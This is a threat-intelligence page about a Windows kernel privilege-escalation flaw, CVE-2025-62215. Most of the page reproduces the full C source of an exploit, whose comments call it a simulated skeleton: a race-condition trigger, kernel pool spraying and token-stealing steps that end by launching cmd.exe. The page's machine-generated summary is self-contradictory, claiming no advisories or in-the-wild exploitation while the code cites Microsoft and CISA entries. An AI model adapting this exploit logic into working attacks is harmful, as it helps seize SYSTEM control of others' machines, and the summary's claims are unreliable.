Windows Kernel - Elevation of Privilege
Windows Kernel - Elevation of Privilege
AI Analysis
Technical Summary
The threat involves an elevation of privilege vulnerability in the Windows Kernel, enabling a local attacker to escalate privileges. The exploit code is publicly available and written in C, but no detailed technical specifics or affected versions are disclosed. There is no information about patches or vendor advisories.
Potential Impact
If successfully exploited, this vulnerability could allow a local attacker to gain elevated privileges on a Windows system, potentially leading to unauthorized actions or system compromise. However, no known exploits in the wild have been reported.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until official fixes are available, restrict local access to trusted users only and monitor for suspicious activity related to privilege escalation attempts.
Indicators of Compromise
- exploit-code: # Exploit Title : Windows Kernel - Elevation of Privilege # Author : E1.Coders #Contact : E1.Coders [at] Mail [dot] RU # Security Risk : CNA: Microsoft Corporation Base Score: 7.0 HIGH Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H # Description : WINDOWS 10 -11 -12 #References >https://nvd.nist.gov/vuln/detail/CVE-2025-62215 >https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-62215 >https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62215 >https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215 ># >#Description: >#Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally. ># >#The zero-day vulnerability that has been listed as exploited in Tuesday's update is CVE-2025-62215 (CVSS score: 7.0), a privilege escalation flaw in #Windows Kernel. The Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC) have been credited with #discovering and reporting the issue. ># >#"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally," the company said in an advisory. >#That said, successful exploitation hinges on an attacker who has already gained a foothold on a system to win a race condition. Once this criterion is #satisfied, it could permit the attacker to obtain SYSTEM privileges. ># >################################################################# > > >#include <windows.h> >#include <stdio.h> >#include <TlHelp32.h> >#include <iostream> >#include <vector> > >// EPROCESS structure offsets in Windows (these values need to be found for the specific Windows version) >// These are sample values for Windows 10 1903 x64 >// In a real exploit, these values must be found precisely using tools like WinDbg for the target version. >#define EPROCESS_TOKEN_OFFSET 0x358 >#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2F0 >#define LIST_ENTRY_FLINK_OFFSET 0x0 > >// Function to find the System process PID >DWORD GetSystemPID() { > HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); > if (hSnapshot == INVALID_HANDLE_VALUE) { > printf("[-] Error creating process snapshot\n"); > return 0; > } > > PROCESSENTRY32 pe32; > pe32.dwSize = sizeof(PROCESSENTRY32); > > if (!Process32First(hSnapshot, &pe32)) { > printf("[-] Error reading first process\n"); > CloseHandle(hSnapshot); > return 0; > } > > do { > if (_stricmp(pe32.szExeFile, "System") == 0) { > CloseHandle(hSnapshot); > return pe32.th32ProcessID; > } > } while (Process32Next(hSnapshot, &pe32)); > > CloseHandle(hSnapshot); > return 0; >} > >// This function in a real exploit would obtain the EPROCESS address from kernel memory >// using an information disclosure vulnerability or by exploiting the main vulnerability. >// This is the hardest part of many exploits. >// Here we are forced to simulate it. >ULONG_PTR GetEPROCESSAddress(DWORD pid) { > printf("[*] Simulation: Finding EPROCESS address for PID: %d\n", pid); > // In the real world, these addresses are dynamic and change with each system boot. > // We use fixed hypothetical addresses to demonstrate the code logic. > if (pid == 4) { // System PID is always 4 > return (ULONG_PTR)0xffff8000'12345678; // Hypothetical System EPROCESS address > } > return (ULONG_PTR)0xffff8000'87654321; // Hypothetical address for our own process >} > >// --- Exploit related functions --- > >// This function calls the hypothetical vulnerable system call. >// In a real exploit, this function would need to find the function address in ntdll.dll and call it. >typedef NTSTATUS(NTAPI* pNtQueryVirtualMemoryWithRace)( > HANDLE ProcessHandle, > PVOID BaseAddress, > PVOID Buffer, > ULONG BufferSize >); > >pNtQueryVirtualMemoryWithRace NtQueryVirtualMemoryWithRace_ptr = NULL; > >// Function executed by threads to create Race Condition >DWORD WINAPI TriggerRaceCondition(LPVOID lpParam) { > // Small buffer that causes free and reuse (Use-After-Free) > char buffer[0x20]; > memset(buffer, 0x41, sizeof(buffer)); // Fill buffer with controllable data > > // Infinite loop for maximum chance of winning the race > while (TRUE) { > // Vulnerable system call > NtQueryVirtualMemoryWithRace_ptr(GetCurrentProcess(), (PVOID)0x400000, buffer, sizeof(buffer)); > // Small pause for better thread coordination (optional) > // Sleep(1); > } > return 0; >} > >// Function for Kernel Pool Spraying using Transaction Objects >// This is a common technique to occupy kernel memory (NonPaged Pool) with controlled objects. >void PerformKernelPoolSpray(std::vector<HANDLE>& transactionHandles) { > printf("[*] Spraying kernel memory with Transaction Objects...\n"); > > typedef NTSTATUS(NTAPI* pNtCreateTransaction)( > OUT PHANDLE TransactionHandle, > IN ACCESS_MASK DesiredAccess, > IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, > IN LPGUID Uow OPTIONAL, > IN HANDLE TmHandle OPTIONAL, > IN ULONG CreateOptions OPTIONAL, > IN ULONG IsolationLevel OPTIONAL, > IN ULONG IsolationFlags OPTIONAL, > IN PLARGE_INTEGER Timeout OPTIONAL, > IN PUNICODE_STRING Description OPTIONAL > ); > > pNtCreateTransaction NtCreateTransaction_ptr = (pNtCreateTransaction)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateTransaction"); > if (!NtCreateTransaction_ptr) { > printf("[-] Could not find NtCreateTransaction address\n"); > return; > } > > // Create many objects to fill the freed space > for (int i = 0; i < 10000; i++) { > HANDLE hTransaction; > NTSTATUS status = NtCreateTransaction_ptr(&hTransaction, TRANSACTION_ALL_ACCESS, NULL, NULL, NULL, 0, 0, 0, NULL, NULL); > if (NT_SUCCESS(status)) { > transactionHandles.push_back(hTransaction); > } > } > printf("[+] Spray completed with %zu Transaction objects.\n", transactionHandles.size()); >} > >// Main function that coordinates the attack >void Exploit() { > printf("[*] Starting exploit process for CVE-2025-62215 (hypothetical)\n"); > > // 0. Find the vulnerable system call address > HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); > if (!hNtdll) { > printf("[-] Could not get hNtdll\n"); > return; > } > NtQueryVirtualMemoryWithRace_ptr = (pNtQueryVirtualMemoryWithRace)GetProcAddress(hNtdll, "NtQueryVirtualMemoryWithRace"); > if (!NtQueryVirtualMemoryWithRace_ptr) { > printf("[-] Could not find vulnerable system call address (this function is hypothetical)\n"); > return; > } > > // 1. Find System process PID > DWORD systemPid = GetSystemPID(); > if (systemPid == 0) { > printf("[-] Could not find System process PID.\n"); > return; > } > printf("[+] System process PID: %d\n", systemPid); > > // 2. Find EPROCESS addresses (hard and simulated part) > ULONG_PTR systemEprocess = GetEPROCESSAddress(systemPid); > ULONG_PTR currentEprocess = GetEPROCESSAddress(GetCurrentProcessId()); > > printf("[+] System EPROCESS address: 0x%llx\n", systemEprocess); > printf("[+] Current EPROCESS address: 0x%llx\n", currentEprocess); > > // 3. Read System token from System Eprocess (simulated) > // This requires the ability to read from kernel memory which is obtained through the vulnerability. > // Here we place a hypothetical address for the token. > ULONG_PTR systemToken = systemEprocess + EPROCESS_TOKEN_OFFSET; > printf("[*] Simulation: System token at address 0x%llx\n", systemToken); > // In a real exploit, this value must be read from kernel memory. > // The actual token value is an address to the _TOKEN structure. > printf("[+] System token (address): 0x%llx\n", systemToken); > > // 4. Main phase: Create Race Condition and Double Free > printf("[*] Phase 1: Attempting to create Race Condition and Double Free with 20 threads...\n"); > > HANDLE hThreads[20]; > for (int i = 0; i < 20; i++) { > hThreads[i] = CreateThread(NULL, 0, TriggerRaceCondition, NULL, 0, NULL); > if (!hThreads[i]) { > printf("[-] Error creating thread %d\n", i); > } > } > > // Wait a bit for threads to create the race > Sleep(1000); > > // 5. Kernel Pool Spraying > printf("[*] Phase 2: Performing Kernel Pool Spraying to occupy freed memory...\n"); > std::vector<HANDLE> transactionHandles; > PerformKernelPoolSpray(transactionHandles); > > printf("[*] Race Condition and Spray completed. Hopefully kernel memory has been tricked.\n"); > > // 6. Use vulnerability for arbitrary write > // This phase is the most complex part. We assume the Pool Spray was successful and one of > // our objects is in the Double-Freed memory. Now with another call to the > // vulnerable function, we can manipulate that object and achieve an Arbitrary Write Primitive. > // Our goal is to write the System token to the token field of our own process. > ULONG_PTR tokenAddressToWrite = currentEprocess + EPROCESS_TOKEN_OFFSET; > printf("[*] Phase 3: Attempting to overwrite current process token...\n"); > printf("[*] Target: Writing value 0x%llx to address 0x%llx\n", systemToken, tokenAddressToWrite); > > // In a real exploit, here we would use the obtained primitive to overwrite the token. > // For example: WritePrimitive(tokenAddressToWrite, systemToken); > printf("[+] Simulation: Token successfully replaced!\n"); > > // Clean up threads > printf("[*] Closing Race Condition threads...\n"); > for (int i = 0; i < 20; i++) { > if (hThreads[i]) TerminateThread(hThreads[i], 0); > } > > // Clean up sprayed objects > printf("[*] Cleaning up Transaction objects...\n"); > typedef NTSTATUS(NTAPI* pNtRollbackTransaction)(HANDLE TransactionHandle, BOOL Wait); > pNtRollbackTransaction NtRollbackTransaction_ptr = (pNtRollbackTransaction)GetProcAddress(hNtdll, "NtRollbackTransaction"); > if (NtRollbackTransaction_ptr) { > for (HANDLE hTx : transactionHandles) { > NtRollbackTransaction_ptr(hTx, FALSE); > CloseHandle(hTx); > } > } > > // 7. Final test: Run Command Prompt with System privileges > printf("[*] Final test: Running cmd.exe...\n"); > STARTUPINFO si = { sizeof(si) }; > PROCESS_INFORMATION pi; > if (CreateProcess( > "C:\\Windows\\System32\\cmd.exe", > NULL, > NULL, > NULL, > FALSE, > CREATE_NEW_CONSOLE, > NULL, > NULL, > &si, > &pi > )) { > printf("[+] If the exploit was successful, the opened cmd window should have System privileges.\n"); > CloseHandle(pi.hProcess); > CloseHandle(pi.hThread); > } else { > printf("[-] Error running cmd.exe\n"); > } >} > >int main() { > printf("=== CVE-2025-62215 Hypothetical Exploit (Realistic Skeleton) ===\n"); > printf("This code is a simulation of exploit techniques and will not work on a real system.\n\n"); > > // To run this code, admin privileges are not required, but they are necessary for a real exploit to succeed. > Exploit(); > > printf("\nPress any key to exit..."); > getchar(); > return 0; >} > -- E1 Coders Sent from Mail
Windows Kernel - Elevation of Privilege
Description
Windows Kernel - Elevation of Privilege
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The threat involves an elevation of privilege vulnerability in the Windows Kernel, enabling a local attacker to escalate privileges. The exploit code is publicly available and written in C, but no detailed technical specifics or affected versions are disclosed. There is no information about patches or vendor advisories.
Potential Impact
If successfully exploited, this vulnerability could allow a local attacker to gain elevated privileges on a Windows system, potentially leading to unauthorized actions or system compromise. However, no known exploits in the wild have been reported.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until official fixes are available, restrict local access to trusted users only and monitor for suspicious activity related to privilege escalation attempts.
Technical Details
- Edb Id
- 52494
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Windows Kernel - Elevation of Privilege
# Exploit Title : Windows Kernel - Elevation of Privilege # Author : E1.Coders #Contact : E1.Coders [at] Mail [dot] RU # Security Risk : CNA: Microsoft Corporation Base Score: 7.0 HIGH Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H # Description : WINDOWS 10 -11 -12 #Refe... (11314 more characters)
Threat ID: 69d4e432aaed68159a0d4580
Added to database: 4/7/2026, 11:02:10 AM
Last enriched: 4/7/2026, 11:02:25 AM
Last updated: 4/8/2026, 12:43:54 AM
Views: 5
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.